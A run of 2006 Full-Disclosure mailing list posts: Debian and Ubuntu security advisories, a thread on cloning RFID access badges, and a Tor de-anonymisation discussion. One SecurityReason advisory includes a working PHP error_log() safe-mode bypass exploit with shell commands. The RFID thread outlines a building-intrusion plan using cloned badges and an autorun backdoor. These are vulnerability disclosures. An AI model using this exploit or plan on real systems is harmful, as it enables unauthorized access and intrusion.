http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-power4_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 13486150 80b9f2ed16acb2c9fdb7c9cb133a4c03
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-power4-smp_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 13842602 e4013da64e44e6e0401aa87b1e68c1ce
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-powerpc_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 13514634 a3fbbf23d7b805431a5f9f28aadd25ab
http://security.debian.org/pool/updates/main/k/kernel-patch-powerpc-2.6.8/kernel-image-2.6.8-powerpc-smp_2.6.8-12sarge1_powerpc.deb
Size/MD5 checksum: 13769858 20783767bb65e7ea6ca76662438bf7ca
IBM S/390 architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-headers-2.6.8-2_2.6.8-5sarge1_s390.deb
Size/MD5 checksum: 5083010 42c4dd8c6c67ce7940f0d24bb745385c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-headers-2.6.8-3_2.6.8-5sarge3_s390.deb
Size/MD5 checksum: 5087230 aa48eb8b2a3a5f215bba97329947a2eb
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-2-s390_2.6.8-5sarge1_s390.deb
Size/MD5 checksum: 2973758 c8d12dd2fbddca3ab1b7bd905de4a90c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-2-s390-tape_2.6.8-5sarge1_s390.deb
Size/MD5 checksum: 1140118 328edfc2944127e2f1d6dca1842ce51d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-2-s390x_2.6.8-5sarge1_s390.deb
Size/MD5 checksum: 3179326 487c36323990a6ae1119f4c30f16cdd9
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-3-s390_2.6.8-5sarge3_s390.deb
Size/MD5 checksum: 2977844 c491248ed7d4c71415be782f7fbe77e9
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-3-s390-tape_2.6.8-5sarge3_s390.deb
Size/MD5 checksum: 1142366 fddcd4821b89cbf30f47d5df380f2961
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-s390/kernel-image-2.6.8-3-s390x_2.6.8-5sarge3_s390.deb
Size/MD5 checksum: 3186726 3eaf46617bf0ee1de50cad55f351aa54
Sun Sparc architecture:
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-build-2.6.8-2_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 3462 c68f0624f124db25f3a41f78432ca11c
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-build-2.6.8-3_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 5194 b90da0337cb607278aa01d4ec0c19a3a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-2_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 2888690 29723527245a48a00e724c7366868ec9
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-2-sparc32_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 107974 788d40ca3a1a3f53b8b2cf4c1fc4badc
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-2-sparc64_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 142726 8719b1bf0d3aff36f7711d8979f87a7d
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-2-sparc64-smp_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 143332 87bc055c575e3ec3ea44136ed44dff6a
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-3_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 2890616 a3717a911c04df4af4917c5a0366a8de
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-3-sparc32_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 109996 d42960c6242e6a62d5a2cb9809645bea
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-3-sparc64_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 144710 f1c0a8b3bf641019d7831cc1277ba524
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-headers-2.6.8-3-sparc64-smp_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 145366 505e40a256abd9fa04a49321fba69115
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-2-sparc32_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 4545570 00d7c7e1caef41efcbc198a282f2b9f2
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-2-sparc64_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 7428184 1f146c58f98331bf5826520379bacd33
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-2-sparc64-smp_2.6.8-15sarge1_sparc.deb
Size/MD5 checksum: 7622116 4de4c114879d82d79fc34cb93c070d43
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-3-sparc32_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 4550972 ea3ec35673aed896ec9416a8f470bf77
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-3-sparc64_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 7431000 fab9d693f9c9642b67e0d386f3df01ee
http://security.debian.org/pool/updates/main/k/kernel-image-2.6.8-sparc/kernel-image-2.6.8-3-sparc64-smp_2.6.8-15sarge3_sparc.deb
Size/MD5 checksum: 7628010 8c922a4190017515210c6738213b0782
These files will probably be moved into the stable distribution on
its next update.
- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announcelists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)
iD8DBQFEoLqvXm3vHE4uyloRAmpRAKCEL2aSzNg4NCC7a4MgkE3gUS3dkQCfc3Dy
h9XpOeylbvWZtXWsn03PS0o=
=twOb
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
On 6/27/06, Valdis.Kletnieksvt.edu <Valdis.Kletnieksvt.edu> wrote:
> On Tue, 27 Jun 2006 14:24:35 +1000, mikeiscool said:
> > eh?
> >
> > surely a RFID would only communicate it's private token with a trusted
> > (i.e. keyed) source.
> >
> > like a smartcard ...
>
> Well.. Yeah. That *would* make sense.
>
> Unfortunately, some beancounter would likely realize they can shave $0.02 per
> card by doing it the easy way, or that they can save $40K by hiring a
> bonehead designer rather than a clued crypto geek.
>
> If all software was actually designed and implemented to the "Surely it would"
> standard, most of the people on this list, both black and white hats, would
> be unemployed. Fortunately for our collective ability to cover our rent checks,
> almost all software has "Surely they *didn't*" flaws in it....
hang on,
does that make me a clued crypto geek? i better ask for a raise ...
but anyway; the op was asking for suggestions; my suggestion is to do
what i said. if someone is trying to make rfids secure; why not follow
the smartcard format?
-- mic
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
My post was based more on *existing* RFID implementations used for physical
security access cards.
I know that non-contact cards such as RFID Credit Cards use encryption so
on... But are still vulnerable to non-authorized transactions.. I'm mean..
there is no green button you push to authorize the transaction.
But I just don't believe that the RFID access-card I use to access client
premeises use any type of encryption or only communicate with specific
readers.
IF* this is the case then an attacker should have no problems powering the
card and making a "copy" of the contents.
JP
PacketFocus
www.packetfocus.com
josh.perrymonpacketfocus.com
On 6/27/06, mikeiscool <michaelslistsgmail.com> wrote:
>
> On 6/27/06, Valdis.Kletnieksvt.edu <Valdis.Kletnieksvt.edu> wrote:
> > On Tue, 27 Jun 2006 14:24:35 +1000, mikeiscool said:
> > > eh?
> > >
> > > surely a RFID would only communicate it's private token with a trusted
> > > (i.e. keyed) source.
> > >
> > > like a smartcard ...
> >
> > Well.. Yeah. That *would* make sense.
> >
> > Unfortunately, some beancounter would likely realize they can shave
> $0.02 per
> > card by doing it the easy way, or that they can save $40K by hiring a
> > bonehead designer rather than a clued crypto geek.
> >
> > If all software was actually designed and implemented to the "Surely it
> would"
> > standard, most of the people on this list, both black and white hats,
> would
> > be unemployed. Fortunately for our collective ability to cover our rent
> checks,
> > almost all software has "Surely they *didn't*" flaws in it....
>
> hang on,
>
> does that make me a clued crypto geek? i better ask for a raise ...
>
> but anyway; the op was asking for suggestions; my suggestion is to do
> what i said. if someone is trying to make rfids secure; why not follow
> the smartcard format?
>
> -- mic
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
On 6/27/06, Josh L. Perrymon <joshuaperrymongmail.com> wrote:
> My post was based more on *existing* RFID implementations used for physical
> security access cards.
>
> I know that non-contact cards such as RFID Credit Cards use encryption so
> on... But are still vulnerable to non-authorized transactions.. I'm mean..
> there is no green button you push to authorize the transaction.
>
> But I just don't believe that the RFID access-card I use to access client
> premeises use any type of encryption or only communicate with specific
> readers.
>
> IF* this is the case then an attacker should have no problems powering the
> card and making a "copy" of the contents.
so what's your question then? how your card works? or how to make it secure?
> JP
> PacketFocus
>
> www.packetfocus.com
> josh.perrymonpacketfocus.com
-- mic
CMLRA, Mirios
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
I'm just looking to validate if this is the case.
Are most RFID access control cards susceptable to interception? I can see
the security features built into something like RFID Credit Cards.. but I'm
betting this is not the case with RFID access cards.
Obviously, I can't validate this until I get a RFID reader/writer.
If this is the case then it's a global problem. Not only for accessing a
building illegally-- but this is a form of stealing a users identify. A lot
of companies use the backend data from the card readers to trend workers
in/out time and areas accessed. blah blah blah.
Plus, I'd like to try this on my next on-site hack.
JP
PacketFocus.com
On 6/27/06, mikeiscool <michaelslistsgmail.com> wrote:
>
> On 6/27/06, Josh L. Perrymon <joshuaperrymongmail.com> wrote:
> > My post was based more on *existing* RFID implementations used for
> physical
> > security access cards.
> >
> > I know that non-contact cards such as RFID Credit Cards use encryption
> so
> > on... But are still vulnerable to non-authorized transactions.. I'm
> mean..
> > there is no green button you push to authorize the transaction.
> >
> > But I just don't believe that the RFID access-card I use to access
> client
> > premeises use any type of encryption or only communicate with specific
> > readers.
> >
> > IF* this is the case then an attacker should have no problems powering
> the
> > card and making a "copy" of the contents.
>
> so what's your question then? how your card works? or how to make it
> secure?
>
>
> > JP
> > PacketFocus
> >
> > www.packetfocus.com
> > josh.perrymonpacketfocus.com
>
> -- mic
> CMLRA, Mirios
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Pen-Testing / App Scanner Patents
http://lists.grok.org.uk/pipermail/full-disclosure/2004-January/015690.html
Anyone heard anything else on the Sanctum INC patent for pentesting???
WTF?
A friend told me about this one and Watchfire patents on application
scanners..
JP
Packetfocus.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
----- Original Message ----
From: Josh L. Perrymon <joshuaperrymongmail.com>
To: full-disclosurelists.grok.org.uk; dailydavelists.immunitysec.com
Sent: Tuesday, 27 June, 2006 9:41:23 AM
Subject: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
My ideas on RFID risk in its current implementation:
I'm thinking a lot of the risk with RFID would be within ID cards and physical security. I have been in 100's of companies that use RFID ID cards for physical security to access a building. Just rock up and swipe your badge in front of the reader right???
What if an attacker was sitting at the cafe downstairs sniffing RFID ( Well, sending out RFID signals to power the chips and get a response ). Wouldn't it be trivial to obtain the STATIC ID codes stored on the RFID chips and write them to a generic chip? THis new card could easily be used to walk right in to the target company? As we all know.. once your inside it's trivial to root the entire network. Just insert your usb/ CD with an autorun backdoor sploit connecting outside OR plug in a small wireless AP.
Go back down to the coffee shop and hack away.
I am sure RFID has a lot of issues and problems associated with it. But if you can walk into a building do something and walk out to hack later, the company has a lot of security issues it needs to handle before starting to worry about securing their RFID access mechanism.
There may be some scenarios where a bad design or implementation is causing a problem or data loss/theft. But what specific problem have you seen or are concerned about? Or at least care to share the reasons for your concern?
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Pen-Testing / App Scanner Patents
On 6/27/06, Josh L. Perrymon <joshuaperrymongmail.com> wrote:
> http://lists.grok.org.uk/pipermail/full-disclosure/2004-January/015690.html
>
> Anyone heard anything else on the Sanctum INC patent for pentesting???
>
> WTF?
>
>
> A friend told me about this one and Watchfire patents on application
> scanners..
wtf indeed, this is very very old ...
> JP
> Packetfocus.com
-- mic
CMLRA, Mirios
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
To summarize the thread...
My question is:
Is it possible to sniff the data from RFID access control cards and write
the contents to a generic RFID card? Then use the copied RFID card to gain
access inside the target building?
This is more just theory at this point.
I have read about encryption used for credit cards and the more recent uses
for RFID.. but is any of this security built into your standard RFID access
cards implementations?
Out of a couple hundred companies I have visited I only remember a handful
that required an additional PIN to be entered. So if this is possible then
companies may want to look at their current installation.
JP
Packetfocus.com
On 6/27/06, Brate Sanders <brate_sandersyahoo.co.uk> wrote:
>
>
>
> ----- Original Message ----
> From: Josh L. Perrymon <joshuaperrymongmail.com>
> To: full-disclosurelists.grok.org.uk; dailydavelists.immunitysec.com
> Sent: Tuesday, 27 June, 2006 9:41:23 AM
> Subject: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
>
> My ideas on RFID risk in its current implementation:
> I'm thinking a lot of the risk with RFID would be within ID cards and
> physical security. I have been in 100's of companies that use RFID ID cards
> for physical security to access a building. Just rock up and swipe your
> badge in front of the reader right???
>
> What if an attacker was sitting at the cafe downstairs sniffing RFID (
> Well, sending out RFID signals to power the chips and get a response ).
> Wouldn't it be trivial to obtain the STATIC ID codes stored on the RFID
> chips and write them to a generic chip? THis new card could easily be used
> to walk right in to the target company? As we all know.. once your inside
> it's trivial to root the entire network. Just insert your usb/ CD with an
> autorun backdoor sploit connecting outside OR plug in a small wireless AP.
>
> Go back down to the coffee shop and hack away.
>
>
>
>
> I am sure RFID has a lot of issues and problems associated with it. But if
> you can walk into a building do something and walk out to hack later, the
> company has a lot of security issues it needs to handle before starting to
> worry about securing their RFID access mechanism.
>
> There may be some scenarios where a bad design or implementation is
> causing a problem or data loss/theft. But what specific problem have you
> seen or are concerned about? Or at least care to share the reasons for your
> concern?
>
>
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] UnAnonymizer
H D Moore wrote:
> A fun browser toy that depends on Java for complete results:
> - http://metasploit.com/research/misc/decloak/
Fun indeed:
Field Data Dependency
External Address: 24.199.198.152 None
Internal Host: unknown Java
Internal Address: unknown Java
DNS Server (API): unknown Java
DNS Server (HTTP): 24.199.198.158 None
External NAT: unknown Java
The "External Address" listed belongs to a TOR server hosted on
RoadRunner. The DNS server is also part of that system. I'm assuming the
"Internal Host" should have been mine? The "Internal Address" mine,
also? The "DNS Server (API)" my ISP's? Something isn't working.
Here's another page that tries something similar with Java:
http://gemal.dk/browserspy/ipjava.html
I get similar results to the above. Yes, Java is installed (version 1.5).
--
Hawaiian Astronomical Society: http://www.hawastsoc.org
HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] UnAnonymizer
Is there a security issue hidden somewhere in there or is it just a bug report sent to the wrong mailing list address? :-)
----- Original Message ----
From: Peter Besenbruch <prblava.net>
Cc: full-disclosurelists.grok.org.uk
Sent: Tuesday, 27 June, 2006 1:42:33 PM
Subject: Re: [Full-disclosure] UnAnonymizer
H D Moore wrote:
> A fun browser toy that depends on Java for complete results:
> - http://metasploit.com/research/misc/decloak/
Fun indeed:
Field Data Dependency
External Address: 24.199.198.152 None
Internal Host: unknown Java
Internal Address: unknown Java
DNS Server (API): unknown Java
DNS Server (HTTP): 24.199.198.158 None
External NAT: unknown Java
The "External Address" listed belongs to a TOR server hosted on
RoadRunner. The DNS server is also part of that system. I'm assuming the
"Internal Host" should have been mine? The "Internal Address" mine,
also? The "DNS Server (API)" my ISP's? Something isn't working.
Here's another page that tries something similar with Java:
http://gemal.dk/browserspy/ipjava.html
I get similar results to the above. Yes, Java is installed (version 1.5).
--
Hawaiian Astronomical Society: http://www.hawastsoc.org
HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] UnAnonymizer
If the app uses an unknow DNS server, I think it's enough of a risk to
worry about.
On Tue, 27 Jun 2006 08:49:13 +0000 (GMT)
Brate Sanders <brate_sandersyahoo.co.uk> wrote:
BS>
BS> Is there a security issue hidden somewhere in there or is it just a bug report sent to the wrong mailing list address? :-)
BS>
BS>
BS> ----- Original Message ----
BS> From: Peter Besenbruch <prblava.net>
BS> Cc: full-disclosurelists.grok.org.uk
BS> Sent: Tuesday, 27 June, 2006 1:42:33 PM
BS> Subject: Re: [Full-disclosure] UnAnonymizer
BS>
BS> H D Moore wrote:
BS> > A fun browser toy that depends on Java for complete results:
BS> > - http://metasploit.com/research/misc/decloak/
BS>
BS> Fun indeed:
BS>
BS> Field Data Dependency
BS> External Address: 24.199.198.152 None
BS> Internal Host: unknown Java
BS> Internal Address: unknown Java
BS> DNS Server (API): unknown Java
BS> DNS Server (HTTP): 24.199.198.158 None
BS> External NAT: unknown Java
BS>
BS> The "External Address" listed belongs to a TOR server hosted on
BS> RoadRunner. The DNS server is also part of that system. I'm assuming the
BS> "Internal Host" should have been mine? The "Internal Address" mine,
BS> also? The "DNS Server (API)" my ISP's? Something isn't working.
BS>
BS> Here's another page that tries something similar with Java:
BS> http://gemal.dk/browserspy/ipjava.html
BS>
BS> I get similar results to the above. Yes, Java is installed (version 1.5).
BS>
BS> --
BS> Hawaiian Astronomical Society: http://www.hawastsoc.org
BS> HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky
BS>
BS> _______________________________________________
BS> Full-Disclosure - We believe in it.
BS> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
BS> Hosted and sponsored by Secunia - http://secunia.com/
BS>
BS>
BS>
BS>
BS>
year(now) + 1 serб o ano do linux!
Cardoso <cardosopobox.com> - SkypeIn: (11) 3711-2466 / (41) 3941-5299
vida digital: http://www.contraditorium.com site pessoal e blog: http://www.carloscardoso.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] VULNBIZ_OF_EEYE_IDEFENSE
text attached
--
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen!
Ideal fьr Modem und ISDN: http://www.gmx.net/de/go/smartsurfer
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] IE_ONE_MINOR_ONE_MAJOR
text attached
--
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen!
Ideal fьr Modem und ISDN: http://www.gmx.net/de/go/smartsurfer
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: Is Windows TCP/IP source routing PoC code available?
Dear Denis Jedig,
Simple PoC and original message from Andrey Minaev, dated February, 2006
in Russian with short translation to English) are available from
http://www.security.nnov.ru/Fnews753.html
This is his original post regarding this issue as it was in his first
report to MS and it may not contain complete information because I am
not aware about results of further researches with Microsoft.
I don't know why Andrey have not published complete information yet. I
had no contacts with him after MS opened case on this issue and he asked
to hold information.
--Sunday, June 25, 2006, 10:03:24 PM, you wrote to vuln-devsecurityfocus.com:
DJ> Greetings to the list,
DJ> As known, Microsoft did announce a security vulnerability concerning an
DJ> overflow within the TCP/IP stack implementation when source routing
DJ> fields are used:
DJ> http://www.microsoft.com/technet/security/bulletin/MS06-032.mspx
DJ> Is anyone aware of an exploit or POC code for this vulnerability? The
DJ> security bulletin states that Windows XP SP2 and Windows Server 2003 SP1
DJ> are "secure by default" due to disabled source routing. However, it does
DJ> not provide sufficient information regarding other operating systems
DJ> affected, so I would like to check out by myself.
DJ> Regards,
DJ> Denis Jedig
DJ> syneticon networks GbR
--
~/ZARAZA
...без дубинки никогда не принимался он за программирование. (Лем)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] UnAnonymizer
Cardoso wrote:
> If the app uses an unknow DNS server, I think it's enough of a risk to
> worry about.
I refer folks to the following page on TOR:
"Using privoxy is necessary because browsers leak your DNS requests when
they use a SOCKS proxy directly, which is bad for your anonymity."
http://tor.eff.org/docs/tor-doc-unix.html.en
That means, your DNS server becomes the DNS server used by the TOR exit
node. I have no idea how many DNS servers operate with poisoned caches,
and the like. If I wanted to do some financial transaction, I think
Cardoso is suggesting a direct connection, instead. In earlier
discussions, people argued that an SSL connection offered some
protection, or warning about pharming attacks.
> On Tue, 27 Jun 2006 08:49:13 +0000 (GMT)
> Brate Sanders <brate_sandersyahoo.co.uk> wrote:
>
> BS> BS> Is there a security issue hidden somewhere in there or is it
just a bug report sent to the wrong mailing list address? :-)
--
Hawaiian Astronomical Society: http://www.hawastsoc.org
HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2
Source: http://securityreason.com/achievement_securityalert/41
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]
Author: Maksymilian Arciemowicz (cXIb8O3) Date:
- -Written: 10.6.2006
- -Public: 26.06.2006
from SECURITYREASON.COM
CVE-2006-3011
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sжther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference Material is freely available. error_log -- Send an
error message somewhere.
- --- 1. error_log() Safe Mode Bypass --- error_log() function send to
email, file or display your error message. You can send error messages
per mail or write into files. Issue is very simple. error_log() check
safe_mode and open_basedir in stream function. But isn't allowed use
URL. And problem exists in incorrect filename.
PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char
*headers TSRMLS_DC)
{
php_stream *stream = NULL;
switch (opt_err) {
case 1: /*send an email */
{
#if HAVE_SENDMAIL
if (!php_mail(opt, "PHP error_log
message", message, headers, NULL TSRMLS_CC)) {
return FAILURE;
}
#else
php_error_docref(NULL TSRMLS_CC,
E_WARNING, "Mail option not available!");
return FAILURE;
#endif
}
break;
case 2: /*send to an address */
php_error_docref(NULL TSRMLS_CC, E_WARNING,
"TCP/IP option not available!"); return FAILURE;
break;
case 3: /*save to a file */
stream = php_stream_open_wrapper(opt, "a",
IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
if (!stream)
return FAILURE;
php_stream_write(stream, message,
strlen(message)); php_stream_close(stream);
break;
default:
php_log_err(message TSRMLS_CC);
break;
}
return SUCCESS;
}
- -2013-2050---
Let's see to option 3.
- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL |
ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
- -2038 line---
Option "a", writte to file error or if file dosen't exists, create new
file. Problem is because in php_stream_open_wrapper(), is defined
"IGNORE_URL". IGNORE_URL turn off safe_mode if you use
"prefix://../../".
- -Example---
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'
Warning: error_log(): SAFE MODE Restriction in effect. The script whose
uid is 0 is not allowed to access /www/temp owned by uid 80 in Command
line code on line 1
Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid
argument in Command line code on line 1 cxib# php -r 'error_log("<? echo
\"cx\"; ?>", 3, "php://../../www/temp/sr.php");' cxib# ls -la
/www/temp/sr.php
- -rw-r--r-- 1 cxib www 16 Jun 11 17:47 /www/temp/sr.php cxib#
- -Example---
- --- 2. Exploit ---
<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>
- --- 3. How to fix ---
No response from PHP Team. We have reported this bug in 11.06.2006
- --- 4. Greets ---
For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec, gKPc8O3
- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)
iD8DBQFEnwdh3Ke13X/fTO4RAv1eAJ9Gux0j+TtpuvsLMhGRu+b0B86DJQCfR4ps
qXoX8VYnwFBa2VmK3zlxpGs=
=VAkg
-----END PGP SIGNATURE-----
_______________________________________________ Full-Disclosure - We
believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted
and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [USN-305-1] OpenLDAP vulnerability
===========================================================
Ubuntu Security Notice USN-305-1 June 27, 2006
openldap2, openldap2.2 vulnerability
CVE-2006-2754
===========================================================
A security issue affects the following Ubuntu releases:
Ubuntu 5.04
Ubuntu 5.10
Ubuntu 6.06 LTS
This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.
The problem can be corrected by upgrading your system to the
following package versions:
Ubuntu 5.04:
slapd 2.1.30-3ubuntu3.2
Ubuntu 5.10:
slapd 2.2.26-3ubuntu0.1
Ubuntu 6.06 LTS:
slapd 2.2.26-5ubuntu2.1
In general, a standard system upgrade is sufficient to effect the
necessary changes.
Details follow:
When processing overly long host names in OpenLDAP's slurpd replication
server, a buffer overflow caused slurpd to crash.
If an attacker manages to inject a specially crafted host name into
slurpd, this might also be exploited to execute arbitrary code with
slurpd's privileges; however, since slurpd is usually set up to
replicate only trusted machines, this should not be exploitable in
normal cases.
Updated packages for Ubuntu 5.04:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/openldap2_2.1.30-3ubuntu3.2.diff.gz
Size/MD5: 117693 811feb51c50318d90b2f8d3955bd2cd4
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/openldap2_2.1.30-3ubuntu3.2.dsc
Size/MD5: 988 772bf522a7b5211787dc7272ea0b71cb
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/openldap2_2.1.30.orig.tar.gz
Size/MD5: 2044673 e2ae8148c4bed07d7a70edd930bdc403
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libslapd2-dev_2.1.30-3ubuntu3.2_all.deb
Size/MD5: 72546 3fe7d6a3e99f1d49d049127af41a8334
amd64 architecture (Athlon64, Opteron, EM64T Xeon)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/ldap-utils_2.1.30-3ubuntu3.2_amd64.deb
Size/MD5: 126502 b78a3e1a2d62ba78ca38842ba9c7b05a
